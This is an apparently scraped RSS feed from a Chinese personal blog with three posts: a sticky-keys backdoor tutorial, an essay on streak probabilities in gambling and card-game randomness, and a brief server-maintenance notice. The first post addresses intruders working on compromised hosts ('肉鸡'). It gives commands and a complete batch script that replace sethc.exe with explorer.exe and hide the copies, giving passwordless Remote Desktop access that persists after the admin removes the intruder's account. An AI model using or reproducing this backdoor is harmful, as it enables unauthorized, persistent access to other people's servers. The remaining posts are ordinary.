无风的港湾 » 感谢 http://www.5bay.cn 让你我停泊~ Fri, 16 Dec 2011 09:18:11 +0000 en hourly 1 http://wordpress.org/?v=3.3 无需输入密码登陆3389 http://www.5bay.cn/server-building/eeeeee389.html http://www.5bay.cn/server-building/eeeeee389.html#comments Wed, 28 Jul 2010 01:32:45 +0000 江小邪 http://www.5bay.cn/?p=518 来源：脚本安全小组 在肉鸡上执行命令 copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。 似乎2000也可以，XP不行。这两个系统没测试。 不知道有牛人知道是什么道理不. 小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe Shift后门TT整理版 来源：TT’s Blog 将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~ 然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe 或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~ 哇哈哈哈哈~~~ TITLE Shift后门 @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo. echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. copy c:\windows\explorer.exe c:\windows\system32\sethc.exe echo 完成百分之 50 copy c:\windows\system32\sethc.exe [...]]]> 来源：脚本安全小组

在肉鸡上执行命令

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。

似乎2000也可以，XP不行。这两个系统没测试。

不知道有牛人知道是什么道理不.

小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe

Shift后门TT整理版
来源：TT’s Blog

将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~

然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe

或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~

哇哈哈哈哈~~~
Shift后门
@echo off
cls
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo.
echo 使用方法:本文件执行完毕后,
echo 在终端界面按Shift 5次即可登陆系统!
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
echo 完成百分之 50
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
echo 完成百分之 80
attrib c:\windows\system32\sethc.exe +h
echo 完成百分之 90
attrib c:\windows\system32\dllcache\sethc.exe +h
echo 完成百分之 100
cls
echo.
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo 后门安装完毕！
echo.
echo 感谢您使用Shift后门
echo.
echo.
echo.
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo. & pause
exit

相关博文

标签Tags：, , , , , , , , ,
]]> http://www.5bay.cn/server-building/eeeeee389.html/feed 0 不那么随机的随机数列 http://www.5bay.cn/game-development/%E4%B8%8D%E9%82%A3%E4%B9%88%E9%9A%8F%E6%9C%BA%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%95%B0%E5%88%97.html http://www.5bay.cn/game-development/%E4%B8%8D%E9%82%A3%E4%B9%88%E9%9A%8F%E6%9C%BA%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%95%B0%E5%88%97.html#comments Fri, 17 Oct 2008 16:52:26 +0000 江小邪 ?p=286 曾经看过这样一种赌徒的策略：假设在一场赌大小的赌博游戏中，赔率是 1:1 ，而庄家不会出千，开大和开小的概率均等（皆为 50%）。赌徒一开始压一块钱，如果他压错了，那么下一次就压两块，再错继续加倍。一旦压对，赌徒永远可以保证有一块钱的进帐。并且从 1 块钱重新开始。看起来，这种策略能保证永远包赚不赔。但实际上为什么没有人用这个方案发财呢？放到现实中，试图采用这个策略去赌博的人，几乎都会赔的倾家荡产（当然只要是赌博，差不多都是这个结局）。不要怪运气，不要怪庄家出千，因为这个策略从一开始就注定了失败。让我们把赌博游戏换成等价的扔硬币实验。请问，连续掷出 7 次正面的概率有多少？稍有概率常识的人都可以心算出答案：1/128 ，也就是略小于 1% 。比 D&D 跑团时投出 20 重击要难多了（拜一下骰子大神）。那么，谁能凭直觉说出，掷 30 次硬币，至少出现一次“连续 7 次正面”的概率有多少？我写了个小程序计算了一下，答案远大于大多数人的直觉，居然达到了 18.3% 这么高。好了，现在把掷出正面换成压对大小。也就是说，你参加 30 次赌局，出现连续 7 次压对，或连续 7 次压错的概率并不那么的小。而且这个概率还会随着赌局次数增加，逐渐趋近于 1 。这意味着什么？如果你只有 128 块的赌本，在 30 次赌局中，输光的可能性居然有 9.53% 这么高。诚然，你可以运气很好，在一开始赢到一些额外的资金。但促进最初的策略所需要的进一步资金是 256 块，在 30 次赌局中是绝对不可能办到的。赌徒可以增加自己的赌本，让自己可以承受更多的连续失败。但赌本的增加将是指数级上升的，但对提高不至于输光的概率却很有限（线形增加）。只要他在赌场上玩上一通宵，多少钱都能输干净。赌博最终就是看谁的本钱多，而不是谁的运气更好（骰子大神啊，请不要跟我绝交。谈谈数学而已，莫要当真）。如果你赌本比不过庄家，乘早收手吧。btw, 这话是写给众多转战 A 股的朋友们的。我想任何一个具有理性思维的人都不会对赌博有太多兴趣。想必我的 blog 的读者中这样的人居多，其实我今天主要是想谈游戏的 。一个卡牌游戏，在测试时，同事在50 张的卡组里放了 25 张生物卡。并认为，在游戏中每次摸新的卡，是生物卡的概率是 50% 。可是在实际游戏中，几乎每局都会发生连续 5 次都摸不到生物卡的情况。一开始，我们认为系统的伪随机函数生成的伪随机数列不够随机。后来换了一个随机数函数，情况并没有得到改善。今天我计算了一下，如果是掷硬币实验，连续 30 次中，至少出现 5 [...]]]> 曾经看过这样一种赌徒的策略：假设在一场赌大小的赌博游戏中，赔率是 1:1 ，而庄家不会出千，开大和开小的概率均等（皆为 50%）。赌徒一开始压一块钱，如果他压错了，那么下一次就压两块，再错继续加倍。一旦压对，赌徒永远可以保证有一块钱的进帐。并且从 1 块钱重新开始。

看起来，这种策略能保证永远包赚不赔。但实际上为什么没有人用这个方案发财呢？

放到现实中，试图采用这个策略去赌博的人，几乎都会赔的倾家荡产（当然只要是赌博，差不多都是这个结局）。不要怪运气，不要怪庄家出千，因为这个策略从一开始就注定了失败。

让我们把赌博游戏换成等价的扔硬币实验。请问，连续掷出 7 次正面的概率有多少？

稍有概率常识的人都可以心算出答案：1/128 ，也就是略小于 1% 。比 D&D 跑团时投出 20 重击要难多了（拜一下骰子大神）。

那么，谁能凭直觉说出，掷 30 次硬币，至少出现一次“连续 7 次正面”的概率有多少？我写了个小程序计算了一下，答案远大于大多数人的直觉，居然达到了 18.3% 这么高。

好了，现在把掷出正面换成压对大小。也就是说，你参加 30 次赌局，出现连续 7 次压对，或连续 7 次压错的概率并不那么的小。而且这个概率还会随着赌局次数增加，逐渐趋近于 1 。

这意味着什么？

如果你只有 128 块的赌本，在 30 次赌局中，输光的可能性居然有 9.53% 这么高。诚然，你可以运气很好，在一开始赢到一些额外的资金。但促进最初的策略所需要的进一步资金是 256 块，在 30 次赌局中是绝对不可能办到的。

赌徒可以增加自己的赌本，让自己可以承受更多的连续失败。但赌本的增加将是指数级上升的，但对提高不至于输光的概率却很有限（线形增加）。只要他在赌场上玩上一通宵，多少钱都能输干净。

赌博最终就是看谁的本钱多，而不是谁的运气更好（骰子大神啊，请不要跟我绝交。谈谈数学而已，莫要当真）。如果你赌本比不过庄家，乘早收手吧。btw, 这话是写给众多转战 A 股的朋友们的。

我想任何一个具有理性思维的人都不会对赌博有太多兴趣。想必我的 blog 的读者中这样的人居多，其实我今天主要是想谈游戏的 :) 。

一个卡牌游戏，在测试时，同事在50 张的卡组里放了 25 张生物卡。并认为，在游戏中每次摸新的卡，是生物卡的概率是 50% 。可是在实际游戏中，几乎每局都会发生连续 5 次都摸不到生物卡的情况。

一开始，我们认为系统的伪随机函数生成的伪随机数列不够随机。后来换了一个随机数函数，情况并没有得到改善。

今天我计算了一下，如果是掷硬币实验，连续 30 次中，至少出现 5 次连续正面的概率达到了 36.82% 。当次数增加到 44 次后，概率超过了一半，达到了 50.32% 。而我们的卡牌游戏，几乎每局都会有 30 多次摸牌机会，出现连续 5 次摸不到生物卡的概率其实够大了。经常出现这种情况，还真是怪不了伪随机数列的生成算法，或是洗牌函数。

写到这里，还有人不信邪。我掏出了我的 20 面骰 。在桌上做起实验。

我们规定，投出 1-10 算小，11-20 算大。一直投下去，直到出现 5 次连续的大、而后游戏结束。最后统计一共投了多少次。在没有进行游戏之前，有人估计可能每玩一局可能会投接近 100 次；可实际结果另他失望（更接近计算结果）。

我们一共做了三组实验，分别在 22 次，24 次，31 次结束了。

如果有朋友想试试，可以用硬币或麻将用的六面骰实验。

所以说，当你在打网络游戏时，如果某天发现某件装备的凋落率，或是合成率远低于官方公布的数字。请不要抱怨自己命不好，也不要怀疑系统作弊。若让程序员们产生一个特定分布的作弊随机数列，又不那么容易被人看出规律（不够随机）出来，难度和成本（CPU 成本）比采用系统的随机数发生器要大的多。比如使用 Niederreiter Sequence 。

最后附一张图片，我随手用一个 C 程序生成的。程序在图片的下方：



#include
#include

int
main()
{
    int i,j;
    int map[128][128];
    memset(map,0,sizeof(map));
    for (i=0;i<1000;i++) {
        map[rand()%128][rand()%128]=1;
    }

    printf(“P1\n128 128\n”);
    for (i=0;i<128;i++) {
        for (j=0;j<128;j++) {
            printf(“%d “,map[j]);
        }
        printf(“\n”);
    }
    return 0;
}


用任何 C 编译器编译运行，再用管道输出到一个 .pbm 图片文件中即可。它生成了 2000 个伪随机数，并作为 1000 个点画在画布上。

我们可以发现，很多点都碰在了一起（一致随机分布往往呈现出的这种集束现象）。这并非随机数产生的不好，而是一种常态而已。

反过来，开发人员真的想讨好玩家，可以做一个更“均匀”的随机数列。让游戏中的各种概率发生更符合“大众的直觉”。那么，考虑使用 准随机数列 （quasi-random_sequences）。不过要注意，计算量会增加很多。而且这样的数列并不随机，只是讨好玩家而已，跟物理世界中的随机性相差甚远。

在《科学计算导论》的中译版中，把 quasi-random sequences 也翻译作拟随机数列。这里有一篇介绍性质的 paper 可以参考。

9 月 11 日补充：

原稿中概率计算有误，今天修正过来。感谢纠正它们的朋友。附上我的递推公式：

如计算 N+1 次实验中连续 5 次正面的概率，可先计算 N+1 次的投掷实验所有可能出现的组合数为 2 ^ (N+1) ，再计算其中出现连续 5 次正面的次数 f(N+1)。

f(N+1) 可以递推得到：

f(N+1) = f(N)*2 + 2 ^ (N-5) – f(N-5)

其中 当 N==5 时，f(N)=1 ；当 N<5 时，f(N)=0

f(N)*2 指前 N 次中已经掷出 5 次正面的组合数，无论最后一次结果如何都计算在内。

2^(N-5) – f(N-5) 指前 N 次的最后 4 次掷出了 4 次正面，而从未掷出连续 5 次正面的组合数，此时只需要最后一次也掷出正面即可。

相关博文

标签Tags：, , , , , , , , , , , , ,
]]> http://www.5bay.cn/game-development/%E4%B8%8D%E9%82%A3%E4%B9%88%E9%9A%8F%E6%9C%BA%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%95%B0%E5%88%97.html/feed 0 网站服务器维护完毕~ http://www.5bay.cn/me/%e7%bd%91%e7%ab%99%e6%9c%8d%e5%8a%a1%e5%99%a8%e7%bb%b4%e6%8a%a4%e5%ae%8c%e6%af%95.html http://www.5bay.cn/me/%e7%bd%91%e7%ab%99%e6%9c%8d%e5%8a%a1%e5%99%a8%e7%bb%b4%e6%8a%a4%e5%ae%8c%e6%af%95.html#comments Sat, 17 Mar 2007 09:18:50 +0000 江小邪 ?p=209   我也基本是在毫不知情的情况下，知道了服务器要维护，呵呵~   经过几天的努力，服务器终于恢复正常了。感谢胡大哥的热心帮忙~   同时感谢他为俺的站提供相关空间~ 相关博文2011年06月29日 -- Android在线开发工具 App Inventor (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月28日 -- 如何删除删不掉的”PRN.asp:.jpg” (0)2010年07月28日 -- 无需输入密码登陆3389 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月22日 -- CSS 中的太极拳口诀 (0)2010年05月23日 -- Rsync详解 (0)2010年05月23日 -- nginx的rewrite规则 (1)2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2010年05月16日 -- 关于 (0)2008年11月12日 -- document.body.scrollTop为0 (0)2008年10月17日 -- 不那么随机的随机数列 (0)2007年05月8日 -- 一般网站最容易发生的故障的解决方法 (0) [...]]]>   我也基本是在毫不知情的情况下，知道了服务器要维护，呵呵~

  经过几天的努力，服务器终于恢复正常了。胡大哥的热心帮忙~

  同时感谢他为俺的站提供相关空间~

相关博文

标签Tags：, , ,
]]> http://www.5bay.cn/me/%e7%bd%91%e7%ab%99%e6%9c%8d%e5%8a%a1%e5%99%a8%e7%bb%b4%e6%8a%a4%e5%ae%8c%e6%af%95.html/feed 0